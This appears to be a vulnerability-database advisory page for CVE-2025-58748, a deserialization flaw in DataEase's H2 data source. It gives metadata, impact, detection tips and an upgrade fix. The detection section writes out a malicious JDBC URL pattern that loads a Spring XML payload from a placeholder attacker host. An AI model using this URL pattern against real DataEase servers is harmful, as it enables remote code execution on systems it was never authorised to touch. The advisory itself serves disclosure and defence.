CVE-2025-58748
BaseFortify
Publication date: 2025-09-15
Last updated on: 2025-09-19
Assigner: GitHub, Inc.
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| dataease | dataease | to 2.10.13 (exc) |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-502 | The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
This vulnerability exists in DataEase versions up to 2.10.12 in the H2 data source implementation. The software does not properly verify that a provided JDBC URL starts with "jdbc:h2". Because of this, an attacker can craft a JDBC URL that uses the Amazon Redshift driver along with specific parameters (socketFactory and socketFactoryArg) to load a malicious remote XML configuration via Spring Framework's FileSystemXmlApplicationContext or ClassPathXmlApplicationContext. This allows the attacker to execute arbitrary code remotely on the affected system through the JDBC connection string. [1]
How can this vulnerability impact me? :
This vulnerability can lead to remote code execution (RCE) on systems running vulnerable versions of DataEase. An attacker can execute arbitrary commands remotely by exploiting the JDBC URL parsing flaw, potentially compromising the confidentiality, integrity, and availability of the affected system. This could result in unauthorized access, data theft, system manipulation, or disruption of services. [1]
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by monitoring for JDBC connection strings that use the Amazon Redshift driver with suspicious socketFactory and socketFactoryArg parameters that load remote XML resources. For example, look for JDBC URLs containing patterns like: jdbc:redshift://.../?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://[attacker_ip]:port/exp.xml. Network monitoring tools or log analysis can be used to identify such connection strings. Specific commands depend on your environment, but for example, using grep on logs: grep -r 'jdbc:redshift' /path/to/logs or using network capture tools like tcpdump or Wireshark to filter for suspicious JDBC traffic. There are no explicit commands provided in the resources. [1]
What immediate steps should I take to mitigate this vulnerability?
The immediate and recommended mitigation is to upgrade DataEase to version 2.10.13 or later, where the vulnerability is fixed by enforcing strict validation of the JDBC URL prefix to ensure it starts with 'jdbc:h2'. No known workarounds exist other than upgrading. [1]